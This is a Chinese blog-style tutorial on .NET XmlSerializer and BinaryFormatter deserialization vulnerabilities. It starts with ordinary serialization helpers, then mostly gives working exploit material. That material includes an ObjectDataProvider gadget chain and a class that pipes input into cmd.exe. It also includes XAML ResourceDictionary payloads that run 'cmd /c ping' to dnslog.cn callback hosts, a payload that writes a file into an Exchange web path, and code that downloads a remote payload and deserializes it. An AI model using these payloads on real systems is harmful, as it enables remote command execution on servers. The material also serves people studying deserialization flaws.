asp.net学习--XmlSerializer反序列化漏洞
.NET 框架中 System.Xml.Serialization 命名空间下的XmlSerializer类可以将 XML 文档绑定到 .NET 类的实例,有一点需要注意它只能把对象的公共属性和公共字段转换为XML元素或属性
我们先来看看Serialize() 和Deserialize()
这是我们获取普通xml值的方法
<?xml version="1.0" encoding="utf-8" ?> <root> <test value="test"/> <price value="50"/> </root>

XElement xe = XElement.Load("C:\inetpub\wwwroot\xml.xml");//加载指定路径的xml文件
string test= xe.Element("test").Attribute("value").Value;//根据指定的元素和属性获取该属性的值
string price= xe.Element("price").Attribute("value").Value;
Response.Write("test="+test+"
");
Response.Write(price);
然后和序列化和反序列化对比就很清楚了,首先我们需要定义一个类型
public class Mytestxml
{
public string Ivale { get;set }
public string Svalue { get;set }
}
然后我们-->实列化它再-->序列化化它再-->反序列化
Mytestxml r= new Mytestxml{Ivale="hello",Svalue="world"};
string xml = XmlHelper.XmlSerialize(r, Encoding.UTF8);
Response.Write(xml);
Mytestxml d= new Mytestxml {Ivale="hello",Svalue="world"};
Response.Write(d.Ivale);
Response.Write(d.Svalue);

以下是helper类代码
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Xml.Serialization;
using System.IO;
using System.Xml;
namespace Xmlgit
{
public static class XmlHelper
{
private static void XmlSerializeInternal(Stream stream, object o, Encoding encoding)
{
if (o == null)
throw new ArgumentNullException("o");
if (encoding == null)
throw new ArgumentNullException("encoding");
XmlSerializer serializer = new XmlSerializer(o.GetType());
XmlWriterSettings settings = new XmlWriterSettings();
settings.Indent = true;
settings.NewLineChars = "
";
settings.Encoding = encoding;
settings.IndentChars = " ";
using (XmlWriter writer = XmlWriter.Create(stream, settings))
{
serializer.Serialize(writer, o);
writer.Close();
}
}
/// <summary>
/// 将一个对象序列化为XML字符串
/// </summary>
/// <param name="o">要序列化的对象</param>
/// <param name="encoding">编码方式</param>
/// <returns>序列化产生的XML字符串</returns>
public static string XmlSerialize(object o, Encoding encoding)
{
using (MemoryStream stream = new MemoryStream())
{
XmlSerializeInternal(stream, o, encoding);
stream.Position = 0;
using (StreamReader reader = new StreamReader(stream, encoding))
{
return reader.ReadToEnd();
}
}
}
/// <summary>
/// 将一个对象按XML序列化的方式写入到一个文件
/// </summary>
/// <param name="o">要序列化的对象</param>
/// <param name="path">保存文件路径</param>
/// <param name="encoding">编码方式</param>
public static void XmlSerializeToFile(object o, string path, Encoding encoding)
{
if (string.IsNullOrEmpty(path))
throw new ArgumentNullException("path");
using (FileStream file = new FileStream(path, FileMode.Create, FileAccess.Write))
{
XmlSerializeInternal(file, o, encoding);
}
}
/// <summary>
/// 从XML字符串中反序列化对象
/// </summary>
/// <typeparam name="T">结果对象类型</typeparam>
/// <param name="s">包含对象的XML字符串</param>
/// <param name="encoding">编码方式</param>
/// <returns>反序列化得到的对象</returns>
public static T XmlDeserialize<T>(string s, Encoding encoding)
{
if (string.IsNullOrEmpty(s))
throw new ArgumentNullException("s");
if (encoding == null)
throw new ArgumentNullException("encoding");
XmlSerializer mySerializer = new XmlSerializer(typeof(T));
using (MemoryStream ms = new MemoryStream(encoding.GetBytes(s)))
{
using (StreamReader sr = new StreamReader(ms, encoding))
{
return (T)mySerializer.Deserialize(sr);
}
}
}
/// <summary>
/// 读入一个文件,并按XML的方式反序列化对象。
/// </summary>
/// <typeparam name="T">结果对象类型</typeparam>
/// <param name="path">文件路径</param>
/// <param name="encoding">编码方式</param>
/// <returns>反序列化得到的对象</returns>
public static T XmlDeserializeFromFile<T>(string path, Encoding encoding)
{
if (string.IsNullOrEmpty(path))
throw new ArgumentNullException("path");
if (encoding == null)
throw new ArgumentNullException("encoding");
string xml = File.ReadAllText(path, encoding);
return XmlDeserialize<T>(xml, encoding);
}
}
}
好了现在简单的理解了xml序列化与反序列我们来直接调用
new System.Xml.Serialization.XmlSerializer
Mytestxml r= new Mytestxml{Ivale="hello",Svalue="world"};
FileStream file=File.OpenWrite(@"C:\inetpub\wwwroot\xml2.xml");
TextWriter wp =new StreamWriter(file);
System.Xml.Serialization.XmlSerializer xml=new System.Xml.Serialization.XmlSerializer(typeof(Mytestxml));
xml.Serialize(wp,r);
wp.Close();

反序列化
Mytestxml r= new Mytestxml { Ivale="",Svalue=""};
var file=new FileStream(@"C:\inetpub\wwwroot\xml2.xml",FileMode.Open);
System.Xml.Serialization.XmlSerializer xml=new System.Xml.Serialization.XmlSerializer(typeof(Mytestxml));
r = xml.Deserialize(file) as Mytestxml;
Response.Write(r.Ivale);

生成exp
ExpandedWrapper<Mytestxml, ObjectDataProvider> eobj = new ExpandedWrapper<Mytestxml,ObjectDataProvider>(); XmlSerializer serializer = new XmlSerializer(typeof(ExpandedWrapper<Mytestxml, ObjectDataProvider>)); eobj.ProjectedProperty0 = new System.Windows.Data.ObjectDataProvider(); eobj.ProjectedProperty0.ObjectInstance = new Mytestxml(); eobj.ProjectedProperty0.MethodName = "Clac"; eobj.ProjectedProperty0.MethodParameters.Add("clac.exe"); TextWriter fo = new StreamWriter("C:\inetpub\wwwroot\xml3.xml"); serializer.Serialize(fo, eobj); fo.Close();
生成的xml
<?xml version="1.0" encoding="utf-8"?>
<ExpandedWrapperOfMytestxmlObjectDataProvider xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<ProjectedProperty0>
<ObjectInstance xsi:type="Mytestxml" />
<MethodName>Clac</MethodName>
<MethodParameters>
<anyType xsi:type="xsd:string">ping 75pc01.dnslog.cn</anyType>
</MethodParameters>
</ProjectedProperty0>
</ExpandedWrapperOfMytestxmlObjectDataProvider>
这里附带我的有危害的类
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Xml.Serialization;
using System.IO;
using System.Xml;
using System.Data;
using System.Runtime.InteropServices;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.Web;
/// <summary>
/// Summary description for Class1
/// </summary>
namespace Mytestxml
{
public class Mytestxml
{
public string Ivale { get; set; }
public string Svalue { get; set; }
public static void Clac(string exec)
{
string item = exec;
Process p = new Process();
p.StartInfo.FileName = "c:\windows\system32\cmd.exe"; //防止未加入环境变量用绝对路径
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardError = true;
p.StartInfo.CreateNoWindow = true;
string strOutput = null;
p.Start();
p.StandardInput.WriteLine(item);//传入命令参数
p.StandardInput.WriteLine("exit");
strOutput = p.StandardOutput.ReadToEnd();
p.WaitForExit();
p.Close();
p.Dispose();
}
}
}
调用exp
XmlSerializer ser = new XmlSerializer(typeof(ExpandedWrapper<Mytestxml, ObjectDataProvider>));
TextReader fi = new StreamReader("C:\inetpub\wwwroot\xml3.xml");
ser.Deserialize(fi);
fi.Close();
这里由于有漏洞的函数是我自己进去的,如果再目标环境里面想去看对方net源码除非你是秀儿这里我们继续来看能不能把exp多元化
ResourceDictionary
Black Hat 2017提出的思考
https://community.microfocus.com/t5/Security-Research-Blog/New-NET-deserialization-gadget-for-compact-payload-When-size/ba-p/1763282
利用Deserialize输入可控和ResourceDictionary造成任意命令执行
using System;
using System.IO;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;
namespace TestProject
{
class Program
{
[Serializable]
public class XamlSerialMarshal : ISerializable
{
string _xaml;
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
Type t = Type.GetType("Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties, Microsoft.PowerShell.Editor, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35");
info.SetType(t);
info.AddValue("ForegroundBrush", _xaml);
}
public XamlSerialMarshal(string xaml)
{
_xaml = xaml;
}
}
static void Main(string[] args)
{
string payload = @"<ResourceDictionary
xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation""
xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml""
xmlns:System=""clr-namespace:System;assembly=mscorlib""
xmlns:Diag=""clr-namespace:System.Diagnostics;assembly=system"">
<ObjectDataProvider x:Key=""LaunchCalc"" ObjectType = ""{ x:Type Diag:Process}"" MethodName = ""Start"" >
<ObjectDataProvider.MethodParameters>
<System:String>cmd</System:String>
<System:String>/c ping 0v4kty.dnslog.cn</System:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>";
Object obj = new XamlSerialMarshal(payload);
BinaryFormatter fmt = new BinaryFormatter();
MemoryStream ms = new MemoryStream();
fmt.Serialize(ms, obj);
ms.Position = 0;
fmt.Deserialize(ms);
}
}
}

我们来测试一下构造exp
<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:System="clr-namespace:System;assembly=mscorlib"
xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">
<ObjectDataProvider x:Key="LaunchCalc" ObjectType = "{ x:Type Diag:Process}" MethodName = "Start" >
<ObjectDataProvider.MethodParameters>
<System:String>cmd.exe</System:String>
<System:String>/c ping qwv894.dnslog.cn</System:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>
这个exp是放在服务器然后本地请求获取
Mytestxml r= new Mytestxml{Ivale="hello",Svalue="world"};
FileStream file=File.OpenWrite(@"C:\inetpub\wwwroot\xml2.xml");
TextWriter wp =new StreamWriter(file);
System.Xml.Serialization.XmlSerializer xml=new System.Xml.Serialization.XmlSerializer(typeof(Mytestxml));
xml.Serialize(wp,r);
wp.Close();
这里参考zcgonvh师傅的构造法优化exp这里是调用Environment.GetEnvironmentVariable获取Exchange的安装路径我们也可以用获取普通web的路径AppDomain.CurrentDomain.BaseDirectory
<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:s="clr-namespace:System;assembly=mscorlib"
xmlns:w="clr-namespace:System.Web;assembly=System.Web">
<s:String x:Key="a" x:FactoryMethod="s:Environment.CurrentDirectory" x:Arguments=""/>
<s:String x:Key="b" x:FactoryMethod="Concat">
<x:Arguments>
<StaticResource ResourceKey="a"/>
<s:String>ClientAccessecpLiveIdError.aspx</s:String>
</x:Arguments>
</s:String>
<ObjectDataProvider x:Key="x" ObjectType="{x:Type s:IO.File}" MethodName="AppendAllText">
<ObjectDataProvider.MethodParameters>
<StaticResource ResourceKey="b"/>
<s:String>test</s:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
<ObjectDataProvider x:Key="c" ObjectInstance="{x:Static w:HttpContext.Current}" MethodName=""/>
<ObjectDataProvider x:Key="d" ObjectInstance="{StaticResource c}" MethodName="get_Response"/>
<ObjectDataProvider x:Key="e" ObjectInstance="{StaticResource d}" MethodName="End"/>
</ResourceDictionary>
等同于
string a=AppDomain.CurrentDomain.BaseDirectory("");
string b=string.Concat(a,"ClientAccessecpLiveIdError.aspx");
File.AppendAllText(b,"tes");
HttpContext.Current.Response.End();
然后我们本地加载远程服务器的xml
<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:System="clr-namespace:System;assembly=mscorlib"
xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">
<ObjectDataProvider x:Key="" ObjectType="{x:Type Diag:Process}" MethodName="Start" >
<ObjectDataProvider.MethodParameters>
<System:String>cmd</System:String>
<System:String>"/c clac.exe"</System:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>
[Serializable]
public class XamlSerialMarshal : ISerializable
{
string _xaml;
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
Type t = Type.GetType("Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties, Microsoft.PowerShell.Editor, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35");
info.SetType(t);
info.AddValue("ForegroundBrush", _xaml);
}
public XamlSerialMarshal(string xaml)
{
_xaml = xaml;
}
}
WebRequest myRequest = WebRequest.Create(@"http://192.168.1.103/xmlok.xml"); WebResponse response = myRequest.GetResponse(); Stream resStream = response.GetResponseStream(); StreamReader sr = new StreamReader(resStream, System.Text.Encoding.Default); var payload=sr.ReadToEnd(); resStream.Close(); sr.Close(); //使用一个XmlDocument对象rssDoc来存储流中的XML内容。XmlDocument对象用来调入XML的内容 //XmlDocument doc = new XmlDocument(); //doc.Load(stream); Object obj = new XamlSerialMarshal(payload); BinaryFormatter fmt = new BinaryFormatter(); MemoryStream ms = new MemoryStream(); fmt.Serialize(ms, obj); ms.Position = 0; fmt.Deserialize(ms);

参考
https://scriptboy.cn/p/make_dotnet_deserialize_for_xaml/ https://community.microfocus.com/t5/Security-Research-Blog/New-NET-deserialization-gadget-for-compact-payload-When-size/ba-p/1763282 https://www.freebuf.com/author/%E4%BA%91%E5%BD%B1%E5%AE%9E%E9%AA%8C%E5%AE%A4?comment=1 https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf#page=33 https://docs.microsoft.com/en-us/dotnet/api/microsoft.visualstudio.text.formatting.textformattingrunproperties?view=visualstudiosdk-2019 https://www.anquanke.com/post/id/199921
https://4hou.win/wordpress/?p=36862
https://github.com/pwntester/ysoserial.net/releases/tag/v1.34